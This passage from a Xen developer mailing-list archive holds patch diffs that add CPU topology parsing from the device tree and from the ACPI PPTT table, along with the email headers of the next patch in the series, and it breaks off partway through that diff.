+/* SPDX-License-Identifier: GPL-2.0-or-later */
+/*
+ * Derived from Linux kernel 7.0's $drivers/base/arch_topology.c
+ * Parse cpu topology information.
+ */
+
+#include <xen/acpi.h>
+#include <xen/cpu-topology.h>
+#include <xen/cpumask.h>
+#include <xen/device_tree.h>
+#include <xen/errno.h>
+#include <xen/init.h>
+
+#define INVALID_TOPO_ID (~0U)
+
+struct cpu_map {
+    unsigned int thread_id;
+    unsigned int core_id;
+    unsigned int cluster_id;
+    unsigned int package_id;
+};
+
+static struct cpu_map __initdata cpu_map[NR_CPUS] = {
+    [0 ... NR_CPUS - 1] = {
+        .thread_id = INVALID_TOPO_ID,
+        .core_id = INVALID_TOPO_ID,
+        .cluster_id = INVALID_TOPO_ID,
+        .package_id = INVALID_TOPO_ID,
+    },
+};
+static struct dt_device_node *__initdata dt_cpu_table[NR_CPUS];
+
+static void __init setup_siblings_masks(unsigned int target_cpu)
+{
+    const struct cpu_topology *target_topo = &cpu_topology[target_cpu];
+    const struct cpu_map *target_map = &cpu_map[target_cpu];
+    unsigned int cpu;
+
+    /* Update cluster, core and thread sibling masks */
+    for_each_possible_cpu(cpu)
+    {
+        const struct cpu_topology *cpu_topo = &cpu_topology[cpu];
+        const struct cpu_map *map = &cpu_map[cpu];
+
+        if ( target_cpu > cpu )
+            continue;
+
+        if ( target_map->package_id != map->package_id )
+            continue;
+
+        cpumask_set_cpu(target_cpu, cpu_topo->core_sibling);
+        cpumask_set_cpu(cpu, target_topo->core_sibling);
+
+        if ( target_map->cluster_id != map->cluster_id )
+            continue;
+
+        if ( target_map->cluster_id != INVALID_TOPO_ID )
+        {
+            cpumask_set_cpu(target_cpu, cpu_topo->cluster_sibling);
+            cpumask_set_cpu(cpu, target_topo->cluster_sibling);
+        }
+
+        if ( target_map->core_id != map->core_id )
+            continue;
+
+        cpumask_set_cpu(target_cpu, cpu_topo->thread_sibling);
+        cpumask_set_cpu(cpu, target_topo->thread_sibling);
+    }
+}
+
+static const struct dt_device_node *__init dt_find_child_node_by_name(
+    const struct dt_device_node *dt,
+    const char *name)
+{
+    const struct dt_device_node *np;
+
+    dt_for_each_child_node(dt, np)
+        if ( np->name && (dt_node_cmp(np->name, name) == 0) )
+            return np;
+
+    return NULL;
+}
+
+void __init map_cpu_to_dt_node(unsigned int cpu,
+                               struct dt_device_node *cpu_node)
+{
+    if ( cpu < ARRAY_SIZE(dt_cpu_table) )
+        dt_cpu_table[cpu] = cpu_node;
+    else
+        printk(XENLOG_WARNING
+               "cpu %u exceeds the max cpus %zu\n",
+               cpu, ARRAY_SIZE(dt_cpu_table));
+}
+
+static unsigned int __init cpu_node_to_id(
+    const struct dt_device_node *cpu_node)
+{
+    unsigned int cpu;
+
+    for_each_possible_cpu(cpu)
+        if ( cpu_node == dt_cpu_table[cpu] )
+            return cpu;
+
+    return INVALID_TOPO_ID;
+}
+
+/*
+ * This function returns the Xen cpu number of the DT node.
+ */
+static unsigned int __init get_cpu_for_node(
+    const struct dt_device_node *dt_node)
+{
+    const struct dt_device_node *cpu_node =
+        dt_parse_phandle(dt_node, "cpu", 0);
+
+    if ( !cpu_node )
+        return INVALID_TOPO_ID;
+
+    return cpu_node_to_id(cpu_node);
+}
+
+static int __init parse_core(const struct dt_device_node *core,
+                             unsigned int package_id,
+                             unsigned int cluster_id,
+                             unsigned int core_id)
+{
+    bool leaf = true;
+    unsigned int thread_id;
+    unsigned int cpu;
+
+    for ( thread_id = 0; ; thread_id++ )
+    {
+        const struct dt_device_node *thread;
+        char name[20];
+
+        snprintf(name, sizeof(name), "thread%u", thread_id);
+        thread = dt_find_child_node_by_name(core, name);
+
+        if ( !thread )
+            break;
+
+        leaf = false;
+        cpu = get_cpu_for_node(thread);
+
+        if ( cpu == INVALID_TOPO_ID )
+        {
+            printk(XENLOG_ERR
+                   "ERROR: %s: Can't get CPU for thread\n", dt_node_name(thread));
+            return -EINVAL;
+        }
+
+        ASSERT(cpu_map[cpu].package_id == INVALID_TOPO_ID);
+        ASSERT(cpu_map[cpu].cluster_id == INVALID_TOPO_ID);
+        ASSERT(cpu_map[cpu].core_id == INVALID_TOPO_ID);
+        ASSERT(cpu_map[cpu].thread_id == INVALID_TOPO_ID);
+
+        cpu_map[cpu].package_id = package_id;
+        cpu_map[cpu].cluster_id = cluster_id;
+        cpu_map[cpu].core_id = core_id;
+        cpu_map[cpu].thread_id = thread_id;
+    }
+
+    cpu = get_cpu_for_node(core);
+
+    if ( cpu != INVALID_TOPO_ID )
+    {
+        if ( !leaf )
+        {
+            printk(XENLOG_ERR "ERROR: %s: Core has both threads and CPU\n",
+                   dt_node_name(core));
+            return -EINVAL;
+        }
+
+        ASSERT(cpu_map[cpu].package_id == INVALID_TOPO_ID);
+        ASSERT(cpu_map[cpu].cluster_id == INVALID_TOPO_ID);
+        ASSERT(cpu_map[cpu].core_id == INVALID_TOPO_ID);
+        ASSERT(cpu_map[cpu].thread_id == INVALID_TOPO_ID);
+
+        cpu_map[cpu].package_id = package_id;
+        cpu_map[cpu].cluster_id = cluster_id;
+        cpu_map[cpu].core_id = core_id;
+        cpu_map[cpu].thread_id = 0;
+    }
+    else if ( leaf )
+    {
+        printk(XENLOG_ERR
+               "ERROR: %s: Can't get CPU for leaf core\n", dt_node_name(core));
+        return -EINVAL;
+    }
+
+    return 0;
+}
+
+static int __init parse_cluster(const struct dt_device_node *cluster,
+                                unsigned int package_id,
+                                unsigned int cluster_id,
+                                unsigned int depth)
+{
+    bool leaf = true;
+    bool has_cores = false;
+    unsigned int core_id;
+    unsigned int child_cluster_id;
+
+    /*
+     * First check for child clusters; we currently ignore any
+     * information about the nesting of clusters and present the
+     * scheduler with a flat list of them.
+     */
+    for ( child_cluster_id = 0; ; child_cluster_id++ )
+    {
+        const struct dt_device_node *child_cluster;
+        char name[20];
+        int ret;
+
+        snprintf(name, sizeof(name), "cluster%u", child_cluster_id);
+        child_cluster = dt_find_child_node_by_name(cluster, name);
+
+        if ( !child_cluster )
+            break;
+
+        leaf = false;
+        ret = parse_cluster(child_cluster, package_id, child_cluster_id,
+                            depth + 1);
+        if ( depth > 0 )
+            printk(XENLOG_WARNING
+                   "WARNING: Topology for clusters of clusters not yet supported\n");
+        if ( ret != 0 )
+            return ret;
+    }
+
+    /* Now check for cores */
+    for ( core_id = 0; ; core_id++ )
+    {
+        const struct dt_device_node *core;
+        char name[20];
+        int ret;
+
+        snprintf(name, sizeof(name), "core%u", core_id);
+        core = dt_find_child_node_by_name(cluster, name);
+
+        if ( !core )
+            break;
+
+        has_cores = true;
+
+        if ( depth == 0 )
+        {
+            printk(XENLOG_ERR
+                   "ERROR: %s: cpu-map children should be clusters\n",
+                   dt_node_name(core));
+            return -EINVAL;
+        }
+
+        if ( leaf )
+        {
+            ret = parse_core(core, package_id, cluster_id, core_id);
+            if ( ret != 0 )
+                return ret;
+        }
+        else
+        {
+            printk(XENLOG_ERR "ERROR: %s: Non-leaf cluster with core %s\n",
+                   dt_node_name(cluster), name);
+            return -EINVAL;
+        }
+    }
+
+    if ( leaf && !has_cores )
+        printk(XENLOG_WARNING "WARNING: %s: empty cluster\n",
+               dt_node_name(cluster));
+
+    return 0;
+}
+
+static int __init parse_socket(const struct dt_device_node *socket)
+{
+    bool has_socket = false;
+    unsigned int package_id;
+    int ret;
+
+    for ( package_id = 0; ; package_id++ )
+    {
+        const struct dt_device_node *cluster;
+        char name[20];
+
+        snprintf(name, sizeof(name), "socket%u", package_id);
+        cluster = dt_find_child_node_by_name(socket, name);
+
+        if ( !cluster )
+            break;
+
+        has_socket = true;
+        ret = parse_cluster(cluster, package_id, INVALID_TOPO_ID, 0);
+        if ( ret != 0 )
+            return ret;
+    }
+
+    if ( !has_socket )
+        ret = parse_cluster(socket, 0, INVALID_TOPO_ID, 0);
+
+    return ret;
+}
+
+static int __init parse_dt_topology(void)
+{
+    const struct dt_device_node *cpus;
+    const struct dt_device_node *map;
+
+    cpus = dt_find_node_by_path("/cpus");
+    if ( !cpus )
+        return -ENOENT;
+
+    map = dt_find_child_node_by_name(cpus, "cpu-map");
+    if ( !map )
+        return -ENOENT;
+
+    return parse_socket(map);
+}
+
+int __init dt_init_cpu_topology(void)
+{
+    unsigned int cpu;
+    int ret;
+
+    BUG_ON(!acpi_disabled);
+    BUG_ON(!cpu_topology);
+
+    ret = parse_dt_topology();
+    if ( ret == 0 )
+        for_each_possible_cpu(cpu)
+            setup_siblings_masks(cpu);
+
+    return ret;
+}
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * tab-width: 4
+ * indent-tabs-mode: nil
+ * End:
+ */
diff --git a/xen/drivers/acpi/Makefile b/xen/drivers/acpi/Makefile
index 477408afbe..6d676e91d4 100644
--- a/xen/drivers/acpi/Makefile
+++ b/xen/drivers/acpi/Makefile
@@ -7,6 +7,7 @@ obj-$(CONFIG_ACPI_NUMA) += numa.o
 obj-y += osl.o
 obj-$(CONFIG_PM_STATS) += pmstat.o
 obj-$(CONFIG_PM_OP) += pm-op.o
+obj-$(CONFIG_ACPI_CPU_TOPOLOGY) += topology.init.o
 
 obj-$(CONFIG_X86) += hwregs.o
 obj-$(CONFIG_X86) += reboot.o
diff --git a/xen/drivers/acpi/topology.c b/xen/drivers/acpi/topology.c
new file mode 100644
index 0000000000..45d1f2c5be
--- /dev/null
+++ b/xen/drivers/acpi/topology.c
@@ -0,0 +1,41 @@
+/* SPDX-License-Identifier: GPL-2.0-or-later */
+
+#include <xen/acpi.h>
+#include <xen/cpu-topology.h>
+#include <xen/cpumask.h>
+#include <xen/init.h>
+
+/*
+ * TODO: Populate the topology information by scanning the ACPI
+ *       PPTT (Processor Properties Topology Table).
+ */
+int __init acpi_init_cpu_topology(void)
+{
+    unsigned int cpu;
+
+    /*
+     * Generate temporary cpu topology information for now.
+     * It assumes that the cpu doesn't have SMT and all CPUs
+     * belong to the same socket.
+     */
+    for_each_possible_cpu(cpu)
+    {
+        struct cpu_topology *topo = &cpu_topology[cpu];
+
+        cpumask_set_cpu(cpu, topo->thread_sibling);
+        cpumask_copy(topo->core_sibling, &cpu_possible_map);
+        cpumask_copy(topo->cluster_sibling, &cpu_possible_map);
+    }
+
+    return 0;
+}
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * tab-width: 4
+ * indent-tabs-mode: nil
+ * End:
+ */
diff --git a/xen/include/xen/acpi.h b/xen/include/xen/acpi.h
index 2fdf38cf74..cbb02e0f35 100644
--- a/xen/include/xen/acpi.h
+++ b/xen/include/xen/acpi.h
@@ -135,6 +135,19 @@ static inline int acpi_boot_table_init(void)
 
 #endif 	/*!CONFIG_ACPI*/
 
+#ifdef CONFIG_ACPI_CPU_TOPOLOGY
+
+int acpi_init_cpu_topology(void);
+
+#else /* CONFIG_ACPI_CPU_TOPOLOGY */
+
+static inline int acpi_init_cpu_topology(void)
+{
+    return -EOPNOTSUPP;
+}
+
+#endif /* CONFIG_ACPI_CPU_TOPOLOGY */
+
 int get_cpu_id(u32 acpi_id);
 
 unsigned int acpi_register_gsi (u32 gsi, int edge_level, int active_high_low);
diff --git a/xen/include/xen/cpu-topology.h b/xen/include/xen/cpu-topology.h
new file mode 100644
index 0000000000..7cfe3752cd
--- /dev/null
+++ b/xen/include/xen/cpu-topology.h
@@ -0,0 +1,34 @@
+/* SPDX-License-Identifier: GPL-2.0-only */
+
+#ifndef XEN_CPU_TOPOLOGY_H
+#define XEN_CPU_TOPOLOGY_H
+
+#include <xen/cpumask.h>
+
+#ifdef CONFIG_GENERIC_CPU_TOPOLOGY
+
+struct cpu_topology {
+    cpumask_var_t thread_sibling;
+    cpumask_var_t core_sibling;
+    cpumask_var_t cluster_sibling;
+};
+
+extern struct cpu_topology *cpu_topology;
+void init_cpu_topology(void);
+
+#else /* CONFIG_GENERIC_CPU_TOPOLOGY */
+
+static inline void init_cpu_topology(void) {}
+
+#endif /* CONFIG_GENERIC_CPU_TOPOLOGY */
+
+#endif /* XEN_CPU_TOPOLOGY_H */
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * indent-tabs-mode: nil
+ * End:
+ */
diff --git a/xen/include/xen/dt-cpu-topology.h b/xen/include/xen/dt-cpu-topology.h
new file mode 100644
index 0000000000..72b35b3cf2
--- /dev/null
+++ b/xen/include/xen/dt-cpu-topology.h
@@ -0,0 +1,35 @@
+/* SPDX-License-Identifier: GPL-2.0-only */
+
+#ifndef XEN_DT_CPU_TOPOLOGY_H
+#define XEN_DT_CPU_TOPOLOGY_H
+
+#include <xen/errno.h>
+
+struct dt_device_node;
+
+#ifdef CONFIG_DT_CPU_TOPOLOGY
+
+void map_cpu_to_dt_node(unsigned int cpu, struct dt_device_node *cpu_node);
+int dt_init_cpu_topology(void);
+
+#else /* CONFIG_DT_CPU_TOPOLOGY */
+
+static inline void map_cpu_to_dt_node(unsigned int cpu,
+                                      struct dt_device_node *cpu_node) {}
+static inline int dt_init_cpu_topology(void)
+{
+    return -EOPNOTSUPP;
+}
+
+#endif /* CONFIG_DT_CPU_TOPOLOGY */
+
+#endif /* XEN_DT_CPU_TOPOLOGY_H */
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * indent-tabs-mode: nil
+ * End:
+ */
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Sun Jul 26 00:55:48 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sun, 26 Jul 2026 00:55:48 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1370884.1618783 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnn9g-0007gM-QW; Sun, 26 Jul 2026 00:55:48 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1370884.1618783; Sun, 26 Jul 2026 00:55:48 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnn9g-0007gF-Mi; Sun, 26 Jul 2026 00:55:48 +0000
Received: by outflank-mailman (input) for mailman id 1370884;
 Sun, 26 Jul 2026 00:55:47 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <taka@valinux.co.jp>) id 1wnn9e-0007ch-UO
 for xen-devel@lists.xenproject.org; Sun, 26 Jul 2026 00:55:47 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wnn9e-007Oo9-BN
 for xen-devel@lists.xenproject.org; Sun, 26 Jul 2026 02:55:46 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a65598d-e002-0a2a0a5209dd-0a2a450bc172-30
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 02:55:46 +0200
Received: from [52.101.125.142]
 (helo=TYVP286CU001.outbound.protection.outlook.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a655b0f-b7e8-0a2a450b0019-34657d8e44af-3
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 02:55:45 +0200
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:458::18)
 by OS7P286MB5490.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:397::5) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.245.12; Sun, 26 Jul
 2026 00:55:41 +0000
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6]) by OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6%6]) with mapi id 15.21.0245.012; Sun, 26 Jul 2026
 00:55:41 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=valinux.co.jp header.i="@valinux.co.jp" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=ah42GzXthYp/knocBHPsbAHIjJe94fKskPW3Ye9+crgW6fXcxAfG4XZPEG/l8OsB0X1Zkw53zW40g6V0ofQpHukZ7GBBjEyro+vDI/boOF/7OKn7SLJMxW2BUXcH6TJyFpmKzrD0GajE3Ai7y9gyYAkkw9LTgOna2aLcH3UIAMB1BXENs4paflM3xz5Nvkov2GD/FBEJI1c5uA5W76RaYAAv/5LDSeNVPev8LlJkQaBq3pI4GKm1AONLQer5N3T1dcaZI13QqWcuOVw1a8r5AeyeH9/zONGBTTLM9mAIF7wsgXz3lRKrHx9P4gpU7j/BAA/kxFTMjoy7P+WSKnlwkA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=01BVibp9N+6FzbKMto0Oht3aSEyswKGmnDSZws9+QRs=;
 b=YF3q9VqsZYYVUqkg5rtvSUihAIlKu7ch8kp+2IncvX3EW1RfKN82wpH3GOd9oYlnMqv3TJ9j9uvNHbbqRD0ExDgceq63ZAqiUiARuecqBFbja8cMgGzWIPdxg+j1MNxyiNlSZaJj2H4CF1nyHMG+89T4NikaZNbne275jjpRF1VtDEuwcGOCnKdYQcQ9UjGGcmohZCxlF3TFRZLRrueqk2tnwdnGXIEKOAzzah04KFPNPsAIlpTL9BD3btrUxfagX6orxa54IJhfKZZfFPQ3a0gWgQtAtn3/ds9LJOMt4kF7cPIBt4qWV4O8v/IoX2qKc44AABOnBT98AKmqHyGgTw==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=valinux.co.jp; dmarc=pass action=none
 header.from=valinux.co.jp; dkim=pass header.d=valinux.co.jp; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=valinux.co.jp;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=01BVibp9N+6FzbKMto0Oht3aSEyswKGmnDSZws9+QRs=;
 b=fT7Ub2TOCFtzR0bdz2txEL+4x5aK7ozmmrY2u6IXRqP2pRCZl6yMunGEYA2f1dOzrRSVRMsrvPfpT/k4nSgrD+23Wy2UQTYTT1GXTI7gXtfChByK8NnoP6T/XtnqxI6fWj81xCIzYxHVKHEVm88AFE2aYH0GvJMHFcidNykQNTo=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=valinux.co.jp;
From: Hirokazu Takahashi <taka@valinux.co.jp>
To: xen-devel@lists.xenproject.org
Cc: Mykyta_Poturai@epam.com,
	Hirokazu Takahashi <taka@valinux.co.jp>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Julien Grall <julien@xen.org>,
	Bertrand Marquis <bertrand.marquis@arm.com>,
	Michal Orzel <michal.orzel@amd.com>,
	Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Jan Beulich <jbeulich@suse.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger@xenproject.org>,
	Teddy Astie <teddy.astie@vates.tech>
Subject: [PATCH v8 4/4] xen/acpi: Parse PPTT to initialize CPU topology
Date: Sun, 26 Jul 2026 09:55:17 +0900
Message-ID: <20260726005517.379267-5-taka@valinux.co.jp>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260726005517.379267-1-taka@valinux.co.jp>
References: <20260726005517.379267-1-taka@valinux.co.jp>
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-ClientProxiedBy: TYCP286CA0101.JPNP286.PROD.OUTLOOK.COM
 (2603:1096:400:2b4::14) To OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 (2603:1096:604:458::18)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: OS9P286MB7222:EE_|OS7P286MB5490:EE_
X-MS-Office365-Filtering-Correlation-Id: ce6cb3b6-5a7c-46e4-fc6f-08deeab09dcb
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|1800799024|23010399003|366016|7416014|376014|10070799003|56012099006|10067099003|6133799003|18002099003|22082099003;
X-Microsoft-Antispam-Message-Info:
	ri0YG0hUyWtNm+eSCrZl/moSFuvMrOzbUDsb7tm9zqIbOJiS/SPTV6llTuZ4flgBNheHJK50FvykPZ8Geow63W1hBJi+2F/PYKDWVXG1V2NnlFGLY8Azqwq5BmSJFekR7dwyFPBVzZSkHLUhkwXLMr3FDoTKdgktxMcZi+Ruear+Q4jNobDPSvAv/OiOB6UXeVIypdmH0/BAn5a9rmi/9hJBNT67A8ixa9PUaLOug5NxttbFxDP0768elCRF+fikQW7uMof/n3+ADXDGPSJWLmy6MaYIHNkal3ZdfGHFeCAbbMyyK+CUPnJUdpFXopkZtOzSfCxesxgkMGBG1uVvf8Zwnd4b6v+cjoIVUf3cq4erhW0UU7qGiXgFgC+Us+q3SJqmYowBiEHy1/VxRqmhlcVc2cDSlTrWJXU1WxZncrb1n21hFvSqj0f2PnsJpMs0ei+BBBVWKDCRd8B8ygdcmBvzmLHi8vFW0KhE0u+M4PRuxjKtCaOysh5oORHCHHo2gHzVgbOaGmytDao8WO/U4hr/yWoQ7Yf0WN3SVvV+j9dTuP7QLcKIbTmBcn4iKjN1j4JE68YqtcZvuJyv6UjfDv+EYhAOkNc0pO0jfNupJGM+aVsNowRkHVO4M/dWTO+6uHy0KKIUpgzZ2qHyrWfqI7+9AFV1u295kWuZ8BUK6H8=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(1800799024)(23010399003)(366016)(7416014)(376014)(10070799003)(56012099006)(10067099003)(6133799003)(18002099003)(22082099003);DIR:OUT;SFP:1102;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 2
X-MS-Exchange-AntiSpam-MessageData-0:
	=?us-ascii?Q?Ja+cLe5JSr4P2HtayO+FneS9bN9mfM+SHy1siH1XK9hVGi83lyCZTMS/4bja?=
 =?us-ascii?Q?OQkLP/4++OVzo1yE/Dy5Xw2Belq9QilFrMIAXWLU1qQ3yH2ErrgXnUzQKH6/?=
 =?us-ascii?Q?afjeQU3WSiMSKcecgMJzOF4GuZ6zl3GL0uas6L/Fp8WUrg9By+4ZldNNuOqX?=
 =?us-ascii?Q?WYiS5OfzDscsStxpi1oG80g5HI4bbuW3WrVVut/4Qt1xRXT05O2xyIRHHUDL?=
 =?us-ascii?Q?HIJXHM4RXAULvQJuSQXQtcNqeklx/s3ELbXAodnWS7XWOyhTTy57ljGXMofX?=
 =?us-ascii?Q?hY/32P5kaSiYxCNUySv5EM26mcQE+XNTZv6g7TI6zCAIZYRQgyDDPi8ufs6+?=
 =?us-ascii?Q?wNpjSMpzYPMrKvhi9OiC0IqygD+BNpir735F4D5kF6ivsTRqQIek97zRcxMK?=
 =?us-ascii?Q?F+EKpegwdzaOyt6zWgPNAop97zd1WjK0N0hEjrRcxhtMZh14KwEE6VkOsa1G?=
 =?us-ascii?Q?uVQA+Xg7tcR/MrReu5G1eg2hyI48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RNnIv0Us7w6wC?=
 =?us-ascii?Q?/6bv3Tfqai9K8/bHTm0rHcY2woK7pn1Ucr3fnWCRxTcaqGg5xh9ipsDF5IKQ?=
 =?us-ascii?Q?iUQA/8UEhK/afcuRQ4dCkZqFc9CaRz8jc1KM131tJMWLj+GvgndccsWlSCLg?=
 =?us-ascii?Q?aClFVPvGHBGSb4nTvaUEzW74fDWCZXbL7KIPTk2BpN5Ih9mhYuequm8i3TBi?=
 =?us-ascii?Q?+ZOl+9dYx03dXPSHOUbxuJSsDTpLDmMHzR4PCM2TDH3/Axnp2ec1a8Lpy2OZ?=
 =?us-ascii?Q?kglFeOxABel4z/RmiVwME6Yls0L6cAfsqpVjFWURZYpF/ZcOuSikeeNnAU3q?=
 =?us-ascii?Q?lv1TmP++NNk79WoYndgQnGnIrextE5i1x5EtJv6WinyOv+ozG2QGXO/XboIJ?=
 =?us-ascii?Q?e8OUBsaDaTLneH29/3zGjCD00LhiaA5CDQzkm1j18O9woKPN6gGgTE8BbLJW?=
X-MS-Exchange-AntiSpam-MessageData-1: A5G5evQY9PTdtw==
X-OriginatorOrg: valinux.co.jp
X-MS-Exchange-CrossTenant-Network-Message-Id: ce6cb3b6-5a7c-46e4-fc6f-08deeab09dcb
X-MS-Exchange-CrossTenant-AuthSource: OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 26 Jul 2026 00:55:41.6370
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 7a57bee8-f73d-4c5f-a4f7-d72c91c8c111
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: AelQKnLJ2zwI5AqncoRoEviK41Z/zok31SOxT2NIc2qmYt5J5dxxK30q7BJUS5OYnTGrlY0peKCzPTqWJmDOHQ==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: OS7P286MB5490
X-purgate-ID: tlsNG-42698a/1785027346-1ACDF9EA-6CA06AF7/0/0
X-purgate-type: clean
X-purgate-size: 14306

Parse the ACPI PPTT (Processor Properties Topology Table) to
initialize the CPU topology.

For ACPI 6.3 and later, the ACPI_PPTT_ACPI_PROCESSOR_IS_THREAD flag
is checked to determine the presence of threading. For ACPI 6.2 and
earlier, CPUs are assumed not to support threading.

Signed-off-by: Hirokazu Takahashi <taka@valinux.co.jp>
---
Changes in v8:
  * Relaxed processor node length check to allow
    proc->header.length >= table_size.
  * Treated root nodes (nodes with parent == 0) as equivalent to
    ACPI_PPTT_PHYSICAL_PACKAGE nodes.
  * Moved INVALID_ACPIID definition to xen/acpi.h to make it available
    cross-architecture.
  * Removed ARM-specific references from comments in
    architecture-agnostic code.
  * Added explicit parentheses around bitwise operations in logical
    expressions.
  * Placed binary logical operators (||, &&) at the end of lines when
    splitting conditional statements.
  * Combined variable declarations and initializations where appropriate.
  * Removed trailing full stops ('.') from printk log messages.
  * Fixed printk format specifier mix-up.

 xen/arch/arm/acpi/boot.c        |   2 +
 xen/arch/x86/include/asm/acpi.h |   2 -
 xen/drivers/acpi/topology.c     | 308 ++++++++++++++++++++++++++++++--
 xen/include/xen/acpi.h          |   4 +
 4 files changed, 301 insertions(+), 15 deletions(-)

diff --git a/xen/arch/arm/acpi/boot.c b/xen/arch/arm/acpi/boot.c
index 4ac0fd8f51..fc7ecb5749 100644
--- a/xen/arch/arm/acpi/boot.c
+++ b/xen/arch/arm/acpi/boot.c
@@ -85,6 +85,7 @@ acpi_map_gic_cpu_interface(struct acpi_madt_generic_interrupt *processor)
             return;
         }
         bootcpu_valid = true;
+        acpi_map_cpu_acpiid(0, processor->uid);
         return;
     }
 
@@ -119,6 +120,7 @@ acpi_map_gic_cpu_interface(struct acpi_madt_generic_interrupt *processor)
 
     /* map the logical cpu id to cpu MPIDR */
     cpu_logical_map(enabled_cpus) = mpidr;
+    acpi_map_cpu_acpiid(enabled_cpus, processor->uid);
 
     enabled_cpus++;
 }
diff --git a/xen/arch/x86/include/asm/acpi.h b/xen/arch/x86/include/asm/acpi.h
index 217819dd61..7a89baa143 100644
--- a/xen/arch/x86/include/asm/acpi.h
+++ b/xen/arch/x86/include/asm/acpi.h
@@ -132,8 +132,6 @@ struct acpi_sleep_info {
 extern u32 x86_acpiid_to_apicid[];
 #define MAX_LOCAL_APIC		MAX(256, 4 * NR_CPUS)
 
-#define INVALID_ACPIID		(-1U)
-
 extern u32 pmtmr_ioport;
 extern unsigned int pmtmr_width;
 
diff --git a/xen/drivers/acpi/topology.c b/xen/drivers/acpi/topology.c
index 56fcfa4945..8dd397cc4d 100644
--- a/xen/drivers/acpi/topology.c
+++ b/xen/drivers/acpi/topology.c
@@ -4,33 +4,315 @@
 #include <xen/cpu-topology.h>
 #include <xen/cpumask.h>
 #include <xen/init.h>
+#include <xen/xvmalloc.h>
+
+#define ACPI_PPTT_MAX_LEVELS 16
+
